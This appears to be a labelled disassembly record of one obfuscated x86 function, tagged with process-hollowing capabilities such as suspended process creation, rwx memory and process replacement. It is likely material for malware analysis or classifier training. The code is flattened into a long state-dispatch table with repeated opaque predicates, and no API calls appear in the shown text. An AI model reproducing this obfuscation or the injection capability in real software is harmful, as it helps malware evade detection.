Function at 0x1000db00
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x22c
mov eax, dword [0x10095280]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10096744]
mov eax, dword [0x10096740]
mov edx, ecx
add edx, 0x3e42717e
sub edx, 1
sub edx, 0x3e42717e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x22e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x22d], al
mov dword [ebp - 0x234], 0x755e714c
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x238], eax
sub eax, 0x80090b68
je 0x10018524
jmp 0x1000db7b
mov eax, dword [ebp - 0x238]
sub eax, 0x8054d6f9
je 0x10014a68
jmp 0x1000db91
mov eax, dword [ebp - 0x238]
sub eax, 0x8074dc0e
je 0x10019247
jmp 0x1000dba7
mov eax, dword [ebp - 0x238]
sub eax, 0x80e3423a
je 0x100123c7
jmp 0x1000dbbd
mov eax, dword [ebp - 0x238]
sub eax, 0x811b9147
je 0x100192b9
jmp 0x1000dbd3
mov eax, dword [ebp - 0x238]
sub eax, 0x82021718
je 0x10012add
jmp 0x1000dbe9
mov eax, dword [ebp - 0x238]
sub eax, 0x822fac8c
je 0x1001bac4
jmp 0x1000dbff
mov eax, dword [ebp - 0x238]
sub eax, 0x82e54db6
je 0x100190d2
jmp 0x1000dc15
mov eax, dword [ebp - 0x238]
sub eax, 0x8326c962
je 0x10016ddd
jmp 0x1000dc2b
mov eax, dword [ebp - 0x238]
sub eax, 0x8337b6ba
je 0x100157b4
jmp 0x1000dc41
mov eax, dword [ebp - 0x238]
sub eax, 0x833d887a
je 0x1001c226
jmp 0x1000dc57
mov eax, dword [ebp - 0x238]
sub eax, 0x83afde4e
je 0x10018850
jmp 0x1000dc6d
mov eax, dword [ebp - 0x238]
sub eax, 0x83d68318
je 0x10018a5f
jmp 0x1000dc83
mov eax, dword [ebp - 0x238]
sub eax, 0x84b5487a
je 0x10015025
jmp 0x1000dc99
mov eax, dword [ebp - 0x238]
sub eax, 0x853628cf
je 0x1001b9a3
jmp 0x1000dcaf
mov eax, dword [ebp - 0x238]
sub eax, 0x85a58343
je 0x10014ca8
jmp 0x1000dcc5
mov eax, dword [ebp - 0x238]
sub eax, 0x85efaa31
je 0x10013a0b
jmp 0x1000dcdb
mov eax, dword [ebp - 0x238]
sub eax, 0x861edf19
je 0x10014ed2
jmp 0x1000dcf1
mov eax, dword [ebp - 0x238]
sub eax, 0x877786b0
je 0x10018ec8
jmp 0x1000dd07
mov eax, dword [ebp - 0x238]
sub eax, 0x88973751
je 0x100129b3
jmp 0x1000dd1d
mov eax, dword [ebp - 0x238]
sub eax, 0x88c9716d
je 0x10019324
jmp 0x1000dd33
mov eax, dword [ebp - 0x238]
sub eax, 0x8911f48b
je 0x1001996a
jmp 0x1000dd49
mov eax, dword [ebp - 0x238]
sub eax, 0x89795223
je 0x1001b64d
jmp 0x1000dd5f
mov eax, dword [ebp - 0x238]
sub eax, 0x89d39638
je 0x1001bdab
jmp 0x1000dd75
mov eax, dword [ebp - 0x238]
sub eax, 0x8a73322c
je 0x10019979
jmp 0x1000dd8b
mov eax, dword [ebp - 0x238]
sub eax, 0x8a81b639
je 0x100137ed
jmp 0x1000dda1
mov eax, dword [ebp - 0x238]
sub eax, 0x8ab10b7b
je 0x1001bb39
jmp 0x1000ddb7
mov eax, dword [ebp - 0x238]
sub eax, 0x8ad50175
je 0x100152a7
jmp 0x1000ddcd
mov eax, dword [ebp - 0x238]
sub eax, 0x8b1b336d
je 0x1001bb96
jmp 0x1000dde3
mov eax, dword [ebp - 0x238]
sub eax, 0x8b2ea889
je 0x10012322
jmp 0x1000ddf9
mov eax, dword [ebp - 0x238]
sub eax, 0x8b2ed9b5
je 0x1001394c
jmp 0x1000de0f
mov eax, dword [ebp - 0x238]
sub eax, 0x8b8e1f8c
je 0x10012f9e
jmp 0x1000de25
mov eax, dword [ebp - 0x238]
sub eax, 0x8baf9866
je 0x10019280
jmp 0x1000de3b
mov eax, dword [ebp - 0x238]
sub eax, 0x8be46086
je 0x1001bfd9
jmp 0x1000de51
mov eax, dword [ebp - 0x238]
sub eax, 0x8c33bdb4
je 0x1001c42f
jmp 0x1000de67
mov eax, dword [ebp - 0x238]
sub eax, 0x8c5b56a4
je 0x10012161
jmp 0x1000de7d
mov eax, dword [ebp - 0x238]
sub eax, 0x8cacb7ec
je 0x10017a51
jmp 0x1000de93
mov eax, dword [ebp - 0x238]
sub eax, 0x8ccf5f99
je 0x1001c111
jmp 0x1000dea9
mov eax, dword [ebp - 0x238]
sub eax, 0x8d235d97
je 0x1001bd78
jmp 0x1000debf
mov eax, dword [ebp - 0x238]
sub eax, 0x8d59529d
je 0x10014dab
jmp 0x1000ded5
mov eax, dword [ebp - 0x238]
sub eax, 0x8d5cc41f
je 0x1001671d
jmp 0x1000deeb
mov eax, dword [ebp - 0x238]
sub eax, 0x8dc2a864
je 0x10015814
jmp 0x1000df01
mov eax, dword [ebp - 0x238]
sub eax, 0x8dff1b7e
je 0x1001807f
jmp 0x1000df17
mov eax, dword [ebp - 0x238]
sub eax, 0x8ef4818f
je 0x10017b4c
jmp 0x1000df2d
mov eax, dword [ebp - 0x238]
sub eax, 0x8f0fce10
je 0x1001baf7
jmp 0x1000df43
mov eax, dword [ebp - 0x238]
sub eax, 0x8f63c8a4
je 0x10018f25
jmp 0x1000df59
mov eax, dword [ebp - 0x238]
sub eax, 0x90ac4c6a
je 0x1001ba3e
jmp 0x1000df6f
mov eax, dword [ebp - 0x238]
sub eax, 0x90b3fced
je 0x1001ba23
jmp 0x1000df85
mov eax, dword [ebp - 0x238]
sub eax, 0x90c0715b
je 0x1001bdd8
jmp 0x1000df9b
mov eax, dword [ebp - 0x238]
sub eax, 0x918b7c8e
je 0x1001af6a
jmp 0x1000dfb1
mov eax, dword [ebp - 0x238]
sub eax, 0x91a7269f
je 0x10013b15
jmp 0x1000dfc7
mov eax, dword [ebp - 0x238]
sub eax, 0x91f768a6
je 0x1001853c
jmp 0x1000dfdd
mov eax, dword [ebp - 0x238]
sub eax, 0x920e7b3a
je 0x10017a39
jmp 0x1000dff3
mov eax, dword [ebp - 0x238]
sub eax, 0x922caf3c
je 0x10012aec
jmp 0x1000e009
mov eax, dword [ebp - 0x238]
sub eax, 0x9337ce41
je 0x1001be47
jmp 0x1000e01f
mov eax, dword [ebp - 0x238]
sub eax, 0x937952ff
je 0x10015bad
jmp 0x1000e035
mov eax, dword [ebp - 0x238]
sub eax, 0x9405edc6
je 0x1001a818
jmp 0x1000e04b
mov eax, dword [ebp - 0x238]
sub eax, 0x94896b31
je 0x10018b2d
jmp 0x1000e061
mov eax, dword [ebp - 0x238]
sub eax, 0x94b77c9f
je 0x10018de5
jmp 0x1000e077
mov eax, dword [ebp - 0x238]
sub eax, 0x94cfcaa9
je 0x10013075
jmp 0x1000e08d
mov eax, dword [ebp - 0x238]
sub eax, 0x9562f4b7
je 0x10014be5
jmp 0x1000e0a3
mov eax, dword [ebp - 0x238]
sub eax, 0x9565ccc3
je 0x100171fb
jmp 0x1000e0b9
mov eax, dword [ebp - 0x238]
sub eax, 0x9612f71c
je 0x1001412f
jmp 0x1000e0cf
mov eax, dword [ebp - 0x238]
sub eax, 0x962d616d
je 0x100187ac
jmp 0x1000e0e5
mov eax, dword [ebp - 0x238]
sub eax, 0x96306c4e
je 0x1001a423
push eax
mov eax, esp
mov dword [ebp - 0x22c], eax
push eax
mov eax, esp
mov dword [ebp - 0x228], eax
push eax
mov eax, esp
mov dword [ebp - 0x224], eax
push eax
mov eax, esp
mov dword [ebp - 0x220], eax
push eax
mov eax, esp
mov dword [ebp - 0x21c], eax
push eax
mov eax, esp
mov dword [ebp - 0x218], eax
push eax
mov eax, esp
mov dword [ebp - 0x214], eax
push eax
mov eax, esp
mov dword [ebp - 0x210], eax
push eax
mov eax, esp
mov dword [ebp - 0x20c], eax
push eax
mov eax, esp
mov dword [ebp - 0x208], eax
push eax
mov eax, esp
mov dword [ebp - 0x204], eax
push eax
mov eax, esp
mov dword [ebp - 0x200], eax
push eax
mov eax, esp
mov dword [ebp - 0x1fc], eax
push eax
mov eax, esp
mov dword [ebp - 0x1f8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1f4], eax
push eax
mov eax, esp
mov dword [ebp - 0x1f0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1ec], eax
push eax
mov eax, esp
mov dword [ebp - 0x1e8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1e4], eax
push eax
mov eax, esp
mov dword [ebp - 0x1e0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1dc], eax
push eax
mov eax, esp
mov dword [ebp - 0x1d8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1d4], eax
push eax
mov eax, esp
mov dword [ebp - 0x1d0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1cc], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c4], eax
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
mov edx, eax
sub edx, 0x992cecc
sub edx, 1
add edx, 0x992cecc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9ded83c5
mov ecx, 0x55874f6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
push eax
mov eax, esp
mov dword [ebp - 0x1c0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1bc], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b4], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1ac], eax
push eax
mov eax, esp
mov dword [ebp - 0x1a8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1a4], eax
push eax
mov eax, esp
mov dword [ebp - 0x1a0], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x19c], eax
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x294d05f2
mov ecx, 0x80e3423a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0xb72d700f
jmp 0x1001c4fd
mov eax, dword [ebp - 0x228]
mov byte [eax], 1
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
mov edx, eax
sub edx, 0x5c9288d0
sub edx, 1
add edx, 0x5c9288d0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x853628cf
mov ecx, 0x28455a24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x922caf3c
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0xabae6c49
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x6c733114
jmp 0x1001c4fd
mov dl, byte [ebp - 0x135]
mov eax, 0x240fdf6f
mov ecx, 0x9dad0395
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov edx, dword [ebp - 0x128]
mov eax, 0x7170cf9
mov ecx, 0xdf7c70c4
cmp edx, 0xefb8f06
cmovg eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe43d1928
mov ecx, 0xb7fcb01f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x27feaf47
jmp 0x1001c4fd
mov dl, byte [ebp - 0x11f]
mov eax, 0x12f872f2
mov ecx, 0xcdfc5195
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov eax, dword [ebp - 0x210]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x234], 0x24b0bdc8
jmp 0x1001c4fd
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3f9cd20
mov ecx, 0xd221e13b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov eax, dword [ebp - 0x204]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x100], eax
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8702373
mov ecx, 0x55a475c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov eax, dword [ebp - 0x200]
mov byte [eax], 0
mov dword [ebp - 0x234], 0x80678da
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x31207000
jmp 0x1001c4fd
mov ecx, dword [0x10096744]
mov eax, dword [0x10096740]
mov edx, ecx
sub edx, 0xc4c69781
sub edx, 1
add edx, 0xc4c69781
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb1b56fb9
mov ecx, 0xb113d47e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1fc]
mov byte [eax], 0
mov eax, dword [ebp - 0x1fc]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0xfa], al
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
mov edx, eax
sub edx, 0x6a897e3f
sub edx, 1
add edx, 0x6a897e3f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f4c88c7
mov ecx, 0x9ff53eda
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0xd2b13d4e
jmp 0x1001c4fd
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
mov edx, eax
add edx, 0xf0aededf
sub edx, 1
sub edx, 0xf0aededf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x41f6b034
mov ecx, 0xfd8d3866
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov ecx, dword [0x10096744]
mov eax, dword [0x10096740]
mov edx, ecx
sub edx, 0xcac3f2f8
sub edx, 1
add edx, 0xcac3f2f8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5709c475
mov ecx, 0x9659dabd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0xdc1cd7a0
jmp 0x1001c4fd
mov ecx, dword [0x10096744]
mov eax, dword [0x10096740]
mov edx, ecx
sub edx, 0x53fdc5ba
sub edx, 1
add edx, 0x53fdc5ba
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcf51dfb0
mov ecx, 0xec1ef485
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1e0]
mov dl, byte [eax]
mov eax, 0xf8efb25f
mov ecx, 0x184c05f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov dl, byte [ebp - 0xe6]
mov eax, 0xb6d22511
mov ecx, 0x9f7c8a73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1d4]
mov byte [eax], 1
mov dword [ebp - 0x234], 0x8cacb7ec
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x1356e25a
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1d4]
mov byte [eax], 1
mov dword [ebp - 0x234], 0x5aa0f3bb
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0xd37a8e13
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1c8]
mov byte [eax], 1
mov dword [ebp - 0x234], 0x91f768a6
jmp 0x1001c4fd
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
mov edx, eax
add edx, 0x6e7c3ef6
sub edx, 1
sub edx, 0x6e7c3ef6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1bb1eac6
mov ecx, 0x4fd50aa9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1c4]
mov dword [eax], 0xefb8f13
mov eax, dword [ebp - 0x1c4]
cmp dword [eax], 0xefb8ecb
setg al
and al, 1
mov byte [ebp - 0xd9], al
mov dword [ebp - 0x234], 0x56510ebe
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1c4]
mov dword [eax], 0xefb8f1a
mov ecx, dword [0x10096744]
mov eax, dword [0x10096740]
mov edx, ecx
sub edx, 0x50040049
sub edx, 1
add edx, 0x50040049
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x63a2f3b5
mov ecx, 0x56ba8477
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov ecx, dword [0x10096744]
mov eax, dword [0x10096740]
mov edx, ecx
sub edx, 0x57ca572a
sub edx, 1
add edx, 0x57ca572a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1e23c99d
mov ecx, 0xe633c6c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov ecx, dword [0x10096744]
mov eax, dword [0x10096740]
mov edx, ecx
sub edx, 0x769af29d
sub edx, 1
add edx, 0x769af29d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x65f971ee
mov ecx, 0x7ab04391
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1c0]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xd0], eax
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6f337016
mov ecx, 0x62d4431f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1c0]
mov dword [eax], 0
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
mov edx, eax
add edx, 0xcb4fbacc
sub edx, 1
sub edx, 0xcb4fbacc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeca43242
mov ecx, 0x8f63c8a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0xb7933c97
jmp 0x1001c4fd
mov eax, dword [0x10096744]
mov ecx, dword [0x10096740]
mov edx, eax
sub edx, 0x1ac70dc5
sub edx, 1
add edx, 0x1ac70dc5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4a6ed838
mov ecx, 0x55234ff6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0xa9f60f27
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x53e4d5f
jmp 0x1001c4fd
mov edx, dword [ebp - 0x1b8]
mov eax, 0xc18f765e
mov ecx, 0x594ad79e
cmp dword [edx], 0xefb8ec5
cmovg eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov ecx, dword [0x10096744]
mov eax, dword [0x10096740]
mov edx, ecx
add edx, 0x75be97e5
sub edx, 1
sub edx, 0x75be97e5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x106edfc5
mov ecx, 0x18f4e5b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x8a73322c
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1b0]
mov dword [eax], 0xefb8ec2
mov dword [ebp - 0x234], 0x97581d8e
jmp 0x1001c4fd
mov dl, byte [ebp - 0x75]
mov eax, 0x6aa0092e
mov ecx, 0xc70de468
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov ecx, dword [0x10096744]
mov eax, dword [0x10096740]
mov edx, ecx
add edx, 0xc643a9c2
sub edx, 1
sub edx, 0xc643a9c2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x316c96d6
mov ecx, 0x2671b198
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x76e2db48
jmp 0x1001c4fd
mov eax, dword [ebp - 0x228]
mov byte [eax], 1
mov dword [ebp - 0x234], 0x88973751
jmp 0x1001c4fd
mov eax, dword [ebp - 0x224]
mov dword [eax], 1
mov dword [ebp - 0x234], 0x547c452c
jmp 0x1001c4fd
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x234], 0xabea6d41
jmp 0x1001c4fd
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x234], 0x12ec0795
jmp 0x1001c4fd
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x234], 0xb4e89a78
jmp 0x1001c4fd
mov eax, dword [ebp - 0x214]
mov byte [eax], 0
mov dword [ebp - 0x234], 0x55086e17
jmp 0x1001c4fd
mov eax, dword [ebp - 0x210]
mov dword [eax], 0
mov dword [ebp - 0x234], 0x24794328
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x9cc7cae2
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x3b70acc3
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1ec]
mov dword [eax], 0xefb8ed4
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x234], 0x1e0426e5
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x234], 0xa9c0a6e1
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0xd6a73066
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x2fe6ef68
jmp 0x1001c4fd
mov eax, dword [ebp - 0x1b4]
mov byte [eax], 0
mov dword [ebp - 0x234], 0x554b0ea
jmp 0x1001c4fd
mov dword [ebp - 0x234], 0x4c418275
jmp 0x1001c4fd
jmp 0x1000db5f